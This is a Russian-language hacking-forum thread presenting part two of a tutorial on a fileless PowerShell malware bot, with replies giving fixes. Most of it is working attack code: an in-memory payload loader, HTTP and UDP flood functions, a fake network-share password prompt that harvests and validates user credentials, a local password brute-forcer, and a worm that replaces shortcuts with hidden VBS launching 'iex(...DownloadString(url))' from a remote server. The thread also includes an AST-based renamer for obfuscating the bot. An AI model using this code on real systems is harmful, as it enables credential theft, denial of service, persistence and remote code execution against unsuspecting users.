• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Fileless бот на PowerShell. Модули, DDoS, Новый Функционал. Часть II.

V1rtualGh0st

(L3) cache
Пользователь
Регистрация
08.12.2018
Сообщения
228
Реакции
485
Гарант сделки
19
Депозит
0.00
Категорически приветствую, XSS'овцы, эта вторая часть статьи "пилотной" серии статей по созданию своего простого "безфайлового" бота на повершелле. Перед тем как начать читать эту статью, советую прочитать первую часть , в которой я описал свой первый опыт по созданию своего simple малваря на этом Яп, там мы создали основной "каскад", парс комманд и два простых модуля для нашего бота. Вторая часть посвящена расширению функционала бота, исправлению большего числа допустимых мной ошибок, а так-же доработки различный "плюх". Сегодня мы расширим нашего бота следующим фунцкионалом:
  • Самые стандартные методы DDoS атак. HTPP & UDP.
  • Стиллингу данных учётных записей пользователя(лей) в текущей системе.
  • Компиляция C# кода прямиком из бота.
  • Простой червь, заражающий ярлыки. И вызов PS из-под VBS.
  • Ну и как бонус напишем свой максимально простой (и немного костыльный)) ренеймер переменных и функций с использованием Abstract Syntax Tree.

Но прежде чем начать взламывать планету, проведём небольшой разбор полётов, и исправим некоторые недочёты и ошибки из первой части.

Ошибка #1. Синтаксис, что использовали в первой части, не будет работать на пш второй версии (Классы, юзинги)
Достаточно серьёзная ошибка для бота, т.к самое важное для большинства малварей - поддержка максимально возможных систем, их разрядностей. Эту ошибку можно исправить простым реврайтом кода. Особого внимания реврайту уделять не буду, но в прикреплённых сорцах эта проблема решена, все классы и юзинги удалены, используем более ранний, поддерживающий большинство систем синтаксис.

Ошибка #2. Лоадер дропает на диск то, что ему скажут грузить. Не из памяти.
Не понимаю, как я мог допустить такие глупые ошибки, ну да ладно.
Исправить это максимально просто. Теория: считываем байты файла прямо с интернета, и используя рекурсию dotnet сборок инвокаем точку входа прямо в скрипте.
Практика.
Создаём функцию, получающую байты файла:
PHP:
function getPayloadBytes([string] $url){
  [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; # TLS SSL
  [byte[]] $bytes = [Net.WebClient]::new().DownloadData($url) # Loading Bytes
  #Write-Host "Bytes Len: ", $bytes.Length
  return $bytes
}

Функция инвока сборки:
PHP:
function runDotnetAsm([byte[]] $bytes){
    [Reflection.Assembly]$assembly = [System.AppDomain]::CurrentDomain.Load($bytes) # Load Assembly
    [Reflection.MethodInfo]$metInfo = $assembly.EntryPoint # Get Entry Point
    [object]$injObj = $assembly.CreateInstance($metInfo.Name)
    [object[]]$parametrsObj = [object]::new()[1] # Get Params

    if($metInfo.GetParameters().Length -eq 0) # If Assembly - VB, update params
    {
        $parametrsObj = $null
    }

    $metInfo.Invoke($injObj, $parametrsObj) # Invoke
}

И теперь перепишем функцию Loader'a, добавим в параметры boolean $runInMemory , с её помощью лоадер будет решать, грузить сборку в памяти или дропать на диск.
PHP:
function Loader([string]$url, [bool]$selfDelete, [bool]$runInMemory){
    try
    {
        $bytes = getPayloadBytes($url) # Get bytes

        if($runInMemory -eq $true){
            #Write-Host "In memory"
            runDotnetAsm -bytes $bytes
        }
        
        if ($runInMemory -eq $false){
            $output = "$([IO.Path]::GetTempPath())$(randomString).exe" # Random File Name
            #[IO.File]::WriteAllBytes($output, $bytes)
            Set-Content -Path $output -Value $bytes # Writing bytes
            [Diagnostics.Process]::Start($output)  # Run
        
  
            if($selfDelete)
            {
                [IO.File]::Delete($output); # Self Delete
            }
        }
    }

    catch{}

}

Ошибка устранена. Сама функция вызывается так: Loader -url $url -selfDelete $false -runInMemory $true true \ false по вашему усмотрению :)
Касаемо натив файлов не так круто, придётся либо дропать файл на диск, либо юзать ранпе.
1607259342573.png


Ну и ещё две небольших ремарки по регуляркам в коде. Функция для получения регулярки теперь принимает один аргумент, вместо двух (глазам приятней):
PHP:
function jsonRegex($tag)
{
    return "(?<=<$tag>)(.*)(?=<\/$tag>)"
}

А так-же при проверках наличия регулярок в конфиг-файле для инвока пш кода добавляем аргумент SingleLine чтобы код можно было писать в несколько строк, а не в одну, как было раньше: [Regex]$psCommand = [Regex]::new($(jsonRegex -tag "ps"), [Text.RegularExpressions.RegexOptions]::Singleline)

Теперь можем приступить к коду нового функционала.

Модули.

По постам из прошлой статьи решил добавить использования шарпо-кода. Компилировать код мы будем при помощи Add-Type. Смотрим функцию:
PHP:
function iexCsharp([string]$code){
    
    Add-Type -TypeDefinition $code -Language CSharp   
    iex "[NameSpace.Program]::Main()"
}

Всё максимально просто, но и есть пару исключений: каждый раз придётся заменять в скрипте имя неймспайса или класса (чтобы использовать его в iex), что крайне неудобно. И второе это то, что при повторном запуске того-же кода, Add-Type выдаст исключение: Add-Type : Cannot add type. The type name 'NameSpace.Program' already exists. Он не сможет выполнить код, т.к код с таким namespace'сом уже есть. Вот такие пироги.
Но на самом оба этих недостатка исправить не составит труда. Для этого мы добавим парс имени неймспайса, а к имени класса Program добавим рандомное число, тогда имя класса будет другим, и это исключение мы обойдем. Смотрим на код обновлённой функции:
PHP:
function iexCsharp([string]$code){
    $id = get-random # Generate random number
    $namespace = [Regex]::new("namespace (.*)").Match($code).Groups[1].Value.Trim() # Namespace name parse
    $code = $code -replace "Program", "Program$id" # Replace "Program" to "Program123" (random num)
    Add-Type -TypeDefinition $code -Language CSharp   

    iex "[$namespace.Program$id]::Main()" # Call code with new Class Name
}

Теперь один и тот же код можно запускать несколько раз. Добавим поиск регулярки в конфиг файле и саму регулярку:
PHP:
[Regex]$csCode = [Regex]::new($(jsonRegex -tag "cs"), [Text.RegularExpressions.RegexOptions]::Singleline)
PHP:
if($csCode.IsMatch($content)){
    [string]$code = $csCode.Match($content)
    iexCsharp($code)
}

С методами ддоса я решил не париться, т.к о этих методах много не расскажешь, ведь они являются самыми стандартными и простыми. Просто покажу как выглядят главные функции (полный код в прикреплённом архиве):

PHP:
function httpMain($Url){
Write-Host $Url
    while($true){
        [string[]] $response = $(GetReq($Url)).Split(';')
        try{
            Http-Flood([int]::Parse($response[3]), [int]::Parse($response[4]))
        }

        catch{
            
        }
    }
}

PHP:
function launch-udpFlood {

    [CmdletBinding()] Param(
    
    [Parameter(Position=0)]
    [String]$targetIP

    )

    ## Check IP variable
    
    if ($targetIP) {
    
        # launch udp flood on range of ports 80 to 1000
        foreach ( $port in 80..1000 ) { udpEngine $targetIP $port }

    } else { write-output "[Error] target IP not specified" }
    
}

Перейдём к более интересному модулю - получение пароля текущего пользователя.
Теория. Мы будем создавать фейковое системное окно с просьбой повторного подключения к "сетевому ресурсу", и после ввода пароля имя текущего юзверя, пароль от его учётной записи и домённое имя.
Использовать мы будем $Host.UI.PromptForCredential функцию. Эта команда используют объект учетных данных, который возвращает cmdlet Get-Credential , для проверки пользователя на удаленном сервере, чтобы он мог использовать инструментарий управления Windows (WMI) для последующего управления удалённым компьютером. По умолчанию появляется диалоговое окно аутентификации с запросом пользователя и пароля. Перед тем, как показывать фейковое окно, мы проверим является ли бзер частью какой-либо сети или ПК является локальной машиной. Приступим.

Первым делом нам нужно добавить в скрипт две ссылки: System.DirectoryServices.AccountManagement (Для валидации данных) и System.Windows.Forms (Для сообщения об ошибке):
Код:
Add-Type -AssemblyName system.DirectoryServices.AccountManagement
Add-Type -AssemblyName System.Windows.Forms

Создадим 2 переменных, содержащих имя текущего юзверя и имя домена
PHP:
$user    = [Environment]::UserName
$domain  = [Environment]::UserDomainName

Теперь создаём фейковое диалоговое окно, и получаем введёным пользователем пароль:
PHP:
$fakeWindow = $Host.UI.PromptForCredential('Reconnect to Network Share','',$user,$domain)
$pass = $fakeWindow.getnetworkcredential().password

Теперь создаём переменную содержащую данные юзера, и возвращаем их (При создании панели, в следующей части эти данные мы будем отправлять на сервер).
PHP:
$stealedData = "$domain|$user : $pass"
return $stealedData

Тестим:
1607262616679.png


После ввода пароля получаем данные:
1607262683159.png


Стоит заметить, что пользователь может написать абсолютно любой текст, и окно исчезнет. Чтобы такого небыло мы добавим валидацию пароля пользователя.
Добавим новую boolean переменную, которая определяет, являеться ли пользователь частью "домена":
PHP:
$partOfDomain = (gwmi win32_computersystem).partofdomain

Если $partOfDomain вернёт True, тогда компьютер является частью домена. Иначе компьютер не входит в домен или его состояние неизвестно. Стоит подчеркнуть, что если компьютер был частью сети, но его удалили, тогда значение вернёт False. Отталкиваясь от этой переменной мы сделаем такую проверку:

PHP:
if ($partOfDomain -eq $true ) { 
        
}

else{
        
}

Теперь нам нужно проверить валидности введёных пользователем данных, для этого создаём нам нужно создать объект класса DirectoryServices.AccountManagement.PrincipalContext и в зависимости от проверки выше присвоить ему нужный аргумент: [DirectoryServices.AccountManagement.ContextType]::Domain если ПК является частью домена или [DirectoryServices.AccountManagement.ContextType]::Machine в ином случае. После этого вызываем метод ValidateCredentials() в аргументы которого передаём данные введёные юзером и если пароль не верный, выведем сообщение с текстом ошибки. Помимо этого добавим переменную-счётчик, которая будет проверять, сколько раз пользователь ввёл невереные данные, если это число будет больше, то вместо состиленных данных на сервер отправим сообщение о неудаче. Полный код выглядит так:
Код:
function stealUser-creds {
    Add-Type -AssemblyName system.DirectoryServices.AccountManagement
    Add-Type -AssemblyName System.Windows.Forms

    [int]$cnt = 1 # Tryes count
    
    while ( $cnt -lt '4' ) {

        $user    = [Environment]::UserName
        $domain  = [Environment]::UserDomainName   
            
        
        $fakeWindow = $Host.UI.PromptForCredential('Reconnect to Network Share','',$user,$domain)
        $pass = $fakeWindow.getnetworkcredential().password # Password in window
        $partOfDomain = (gwmi win32_computersystem).partofdomain

        if ($partOfDomain -eq $true ) { 
        
            $cntxtdom = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Domain, $domain)
            $chkdom = $cntxtdom.ValidateCredentials($user,$pass)
            
            if ( $chkdom -eq $false ) {   
                $choice = [Windows.Forms.MessageBox]::Show("Authentication failed! Please enter correct password", "Reconnection Attempt Failed!", [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Warning) # Error Msg
            
            } else { break }
            
        } else {
            $localMachine = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Machine)
            $credtest = $localMachine.ValidateCredentials($user,$pass)
            
            if ( $credtest -eq $false ) {
                $choice = [Windows.Forms.MessageBox]::Show("Authentication failed! Please enter correct password", "Reconnection Attempt Failed!", [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Warning) # Error Msg
            
            } else { break }

        }
        $cnt++
    }
    
    if ( $cnt -eq '4' ) {
      
        $stealedData = "Error"
        
    } else {
        $stealedData = "$domain|$user : $pass"
        
    }
    
    return $stealedData
    
}

Теперь когда юзер введёт неверный пасс, появиться сообщение об ошибке:
1607266531864.png


И попросит ввести пароль снова. На основе этой функции можно создать функцию брутфорса пароля (Будет полезно если в ваших интересах никак не палиться перед юзером). Для реализации создадим список популярных паролей в скрипте и циклом пробовать их перебирать:
PHP:
$passwords = @('admin', '123', '1', '', ' ') # Passwords List


$user    = [Environment]::UserName
$domain  = [Environment]::UserDomainName   
$partOfDomain = (gwmi win32_computersystem).partofdomain

if ($partOfDomain -eq $true ) {
    
    $cntxtdom = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Domain, $domain)

    for($i = 0; $i -le $passwords.Length; $i++){
        Write-Host "Trying pass... ", $passwords[$i]

        $valid = $cntxtdom.ValidateCredentials($user, $passwords[$i])

        if($valid -eq $true){
            Write-Host "Password Found!\r\nData: $user : ", $passwords[$i]
            break;
        }
    }
}

else{
    $localMachine = New-Object DirectoryServices.AccountManagement.PrincipalContext([DirectoryServices.AccountManagement.ContextType]::Machine)

    for($i = 0; $i -le $passwords.Length; $i++){
        Write-Host "Trying pass... ", $passwords[$i]

        $valid = $localMachine.ValidateCredentials($user, $passwords[$i])
        
        if($valid -eq $true){
            Write-Host "Password Found! Data: $user : ", $passwords[$i]
            break;
        }
    }
}

Перейдём к модулю, который позволит нам закрепиться в системе.
Теория. Работать мы будем с ярлыками и VBS - скриптами. Получим путь до ярлыка, возьмём из него данные (иконку, описание, имя, файл который этот ярлык запускает) и сгенерируем вредоносный VBS скрипт, который будет инвокать скрипт из интернета, и запускать оригинальный файл.

Практика.
Создаём новую функцию, в аргументах которой находятся две переменнных $lnk - прямой путь до ярлыка, и $scriptUrl - ссылка, где находится наш скрипт (в RAW формате). Теперь создадим три переменные, которые хранят информацию по оригинальному .lnk файлу (Полный путь, имя, имя директории):
PHP:
    $shortcutFullname = (gci $lnk).Fullname
    $location = (gci $lnk).DirectoryName
    $lnkName = (gci $lnk).Name

После этого создадим новый объект COM интерфейса WScript.Shell для получения: целевой и рабочей директории, иконки, и описания оригинального ярлыка. Так же получим имя запускаемого файла:
PHP:
    $wsh = New-Object -COM WScript.Shell
    $targetPath = $wsh.CreateShortcut("$shortcutFullname").TargetPath
    $workingDir = $wsh.CreateShortcut("$shortcutFullname").WorkingDirectory
    $iconloc    = $wsh.CreateShortcut("$shortcutFullname").IconLocation
    $descript   = $wsh.CreateShortcut("$shortcutFullname").Description
    $targetBinary = (gci $targetPath).Name

Теперь нам нужно сгенерировать вбс скрипт, который будет выполнять основную работу. Создаём новую функцию generate-vbs которая принимает 2 аргумента: путь до запускаемого файла ($targetBinary) и ссылку с нашим скриптом. Ну и собственно сам код функции, с комментариями:
PHP:
function generate-vbs($scriptUrl, $exeFile){
    $scriptText = "" # Script Text
    $newLine = "`r`n"
    $funcName1 = rand-str # Random Function name
    $var1 = rand-str # Random Variable name

    $funcName2 = rand-str
    $var2 = rand-str
        
    # Start generating vbs script
    #Run Original .exe file
    $scriptText += "Function $funcName2()$newLine"
    $scriptText += "set $var2 = createObject(""wscript.shell"")$newLine"
    $scriptText += "$var2.run ""cmd /c start $exeFile""$newLine"
    $scriptText += "End Function$newLine"

    # call powershell with invoke powershell script from url
    $scriptText += "Function $funcName1()$newLine"
    $scriptText += "set $var1 = createObject(""wscript.shell"")$newLine"
    $scriptText += "$var1.run ""cmd /q /c powershell.exe -c """"&{[System.Net.ServicePointManager]::ServerCertificateValidationCallback={`$true};iex(New-Object System.Net.Webclient).DownloadString('$scriptUrl')}""""""$newLine"
    $scriptText += "End Function$newLine"
    $scriptText += "$newLine$funcName2$newLine$funcName1"

    return $scriptText
}

А вот так выглядит сгенерированный VBS:
1607268400081.png


Вернёмся к главной функции, сгенерируем наш vbs скрипт, дропнем в папку, и скроем:
PHP:
$saveDir = $env:localappdata + '\' + $(rand-str) + '.vbs' # Full Path
    $evilVbsScript = generate-vbs -scriptUrl $scriptUrl -exeFile $targetBinary # Call vbs generate

    set-content $saveDir $evilVbsScript # write vbs

    $evilAtt = get-item $saveDir
    $evilAtt.attributes="Hidden" # Set "Hidden" Attr

Дело за малым, удаляем оригинальный ярлык, и создаём наш, который вызывает cmd.exe который запустит наш сгенерированный vbs. Код:
PHP:
 Remove-Item $shortcutFullname

    $wsh2 = New-Object -COM WScript.Shell     # Create com interface
    $evilLnk = $lnk
    $evilLnk = $wsh2.CreateShortcut("$evilLnk")
    $evilLnk.TargetPath = "c:\windows\system32\cmd.exe" # Call cmd.exe
    $evilLnk.WorkingDirectory = $workingDir

    $args = '/c ' + '"' + $saveDir + '"'
    $evilLnk.Arguments = "$args" # with this args
    $newIcon = $targetPath + ',0'
    $evilLnk.IconLocation = "$newIcon" # Set original icon
    $evilLnk.Save(); # save that

Вот и всё, при вызове этой функции, она заменит ярлык на наш, после запуска вбс откроет ориг файл и запустит наш пш скрипт.

С модулями всё, перейдём к небольшому бонусу.


Ренеймер.

Это небольшое дополнение к боту. Напишем простой ренеймер функций и переменных с использвонием аст.
AST - это представления кода, в основном с ним знакомы кодеры, которые пишут на скрптовых языках. Когда компилятор преобразует код, выполняются следующие действия: Лексический и Синтаксический анализ, а после Генерация кода.
1607269315374.png


Теория. Мы получаем структуру файла, после ищем все функции и переменные, после обрабатываем их циклом и заменяем на рандомные символы.
Практика. Первым делом создаем пространство выполнения с использованием типа Microsoft.PowerShell.DefaultHost. Это пространство создается с использованием информации RunspaceConfiguration из EntryAssembly.
PHP:
$rs = [runspacefactory]::CreateRunspace()
$rs.Open()

Далее парсим AST нашего скрипта:
Код:
$tokens = $errors = $null
$ast = [System.Management.Automation.Language.Parser]::ParseFile(
    'xssbot2.ps1', # file name
    [ref]$tokens,
    [ref]$errors)
Получаем все переменные и функции:
Код:
$functionDefinitions = $ast.FindAll({
    $ast -is [System.Management.Automation.Language.FunctionDefinitionAst] -and
    
    ($PSVersionTable.PSVersion.Major -lt 5 -or
    $Ast.Parent -isnot [System.Management.Automation.Language.FunctionMemberAst])

}, $true)

$getAllVariables = $ast.FindAll( { $true }, $true) |
  Where-Object { $_.GetType().Name -eq 'VariableExpressionAst' }

Создаём "копию" нашего скрипта, и помещаем её в переменную, после заменяем имена циклом:
Код:
$orig = $ast.Copy()

$functionDefinitions | ForEach-Object {
    $funcName = $_.Name
    $random = rand-str
    $orig = $orig.ToString().Replace($funcName, $random) # replace
    #Write-Host "Func Name: $funcName"
}

$getAllVariables | ForEach-Object{
    $varName = $_.VariablePath.ToString()
    $random = rand-str
    if($varName -ne "true" -and $varName -ne "Host" -and $varName -ne "false") { # if variable not $true $Host etc
        $orig = $orig.ToString().Replace("`$$varName", "`$$random").Replace("-$varName", "-$random")
    }
}

На этом код ренейнера заканчивается, перейдём к тесту, вот так выглядит оригинальный скрипт нашего файла:
1607270173760.png


После ренейма:
1607270276710.png



ВЫВОДЫ.
Спустя полгода лишь решил написать продолжение, но ведь лучше поздно, чем никогда :)

В этой статье мы расширили функционал нашего бота, добавили методы DDoS, заражения ярлыков и остальные прикольные плюхи. Постарался исправить все недочёты, что были в первой статье.
Да, ренеймер имеет максимально костыльную реализацию, да и при должном опыте с AST можно сделать полноценный PowerShell обфускатор, но это был мой первый в жизни опыт с аст, не судите строго. Архив со всеми скриптами прилагаю к посту. Пароль местный.

(c) V1rtualGh0st Специально для xss.pro with Love <3.
 

Вложения

  • 1607269381576.png
    1607269381576.png
    5.9 КБ · Просмотры: 70
  • xss bot v1.5.zip
    6.7 КБ · Просмотры: 101
Код:
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;

не канает в psh 2.0. Тк пош. 2 по умолчанию использует дотнет 3.5, а он в свою очередь не поддерживает ТЛС . Что бы переключить пш 2 на дотнет 4 надо реестр фиксить или крутить сальто мартали.
Например:

Код:
if ($PSVersionTable.CLRVersion.Major -lt 3) {
    ${11} = {

}
${8} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
New-Item -Path ${8} -ItemType Container | Out-Null
@"
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <startup useLegacyV2RuntimeActivationPolicy="true">
    <supportedRuntime version="v4.0"/>
  </startup>
</configuration>
"@ | Set-Content -Path ${8}\powershell.exe.activation_config -Encoding UTF8
    ${10} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
    ${9} = [Environment]::GetEnvironmentVariable(${10})
    [Environment]::SetEnvironmentVariable(${10}, ${8})
    try {
        & powershell.exe
    } finally {
        [Environment]::SetEnvironmentVariable(${10}, ${9})
        ${8} | Remove-Item -Recurse
    }
}

или использовать более экзочитеские способы...
А за Ренеймер функцию +
 
if($varName -ne "true" -and $varName -ne "Host" -and $varName -ne "false")
Это далеко не все встроенные переменные в пш. Более полный список тут.

То есть элементарно твой ренеймер побьет подобный скрипт
Код:
Get-ChildItem | % {$_.FullName}

или

$env:USERPROFILE - бьет в $tlwpRq
.

Также в пш существуют такие приставки к переменным как $local:abc $global:abc. Тоже соответственно бьет.

2) У тебя функция генерации переменных будет иметь повторения. Простой тест кейс.
Код:
function rand-str {
    $rint = get-random -max 10 -min 3
    $charArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray()
    1..$rint | % { $rchr += $charArray | get-random }
    $randstr = [string]::join("", ($rchr))
    return $randstr
}

$arr = @()
for($i = 0; $i -lt 10000; $i++){
    $val = $(rand-str).ToLower()
    $arr += ,$val
    Write-Host "Generated: $val; Iteration: $i"
}

$arrUnique = $arr | Sort-Object -Unique
Write-Host "Size of generated: $($arr.Length)"
Write-Host "Size of unique: $($arrUnique.Length)"
Почему ToLower? Потому что переменные в пш регистронезависимые. То есть $AAA можно получить как $aaa.
Результат теста на 10к генераций:
Size of generated: 10000
Size of unique: 9941
Тебе как минимум нужен контроль и хранение ранее сгенерированных переменных, чтобы избежать повторов.
 
Это далеко не все встроенные переменные в пш. Более полный список тут.
Вообще делал ренеймер только под этот бот, но за наводку спасибо. Можно добавить все имена в массив и циклом перебирать встроенные переменные.
Также в пш существуют такие приставки к переменным как $local:abc $global:abc. Тоже соответственно бьет.
Такие можно проверить либо регуляркой либо на наличие ":" в имени переменной.
У тебя функция генерации переменных будет иметь повторения.
А это лечится проще, можно к этим символам добавить эти же символы, но в нижнем регистре, можно установить минимальную длину имени переменной от 7-8, т.к шанс повторной генерации одной и той-же строки 1к1.000.000.
Почему ToLower? Потому что переменные в пш регистронезависимые. То есть $AAA можно получить как $aaa.
За подсказку спасибо. Как буду свободен пофикшу все эти проблемы, кину постом в этой теме.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх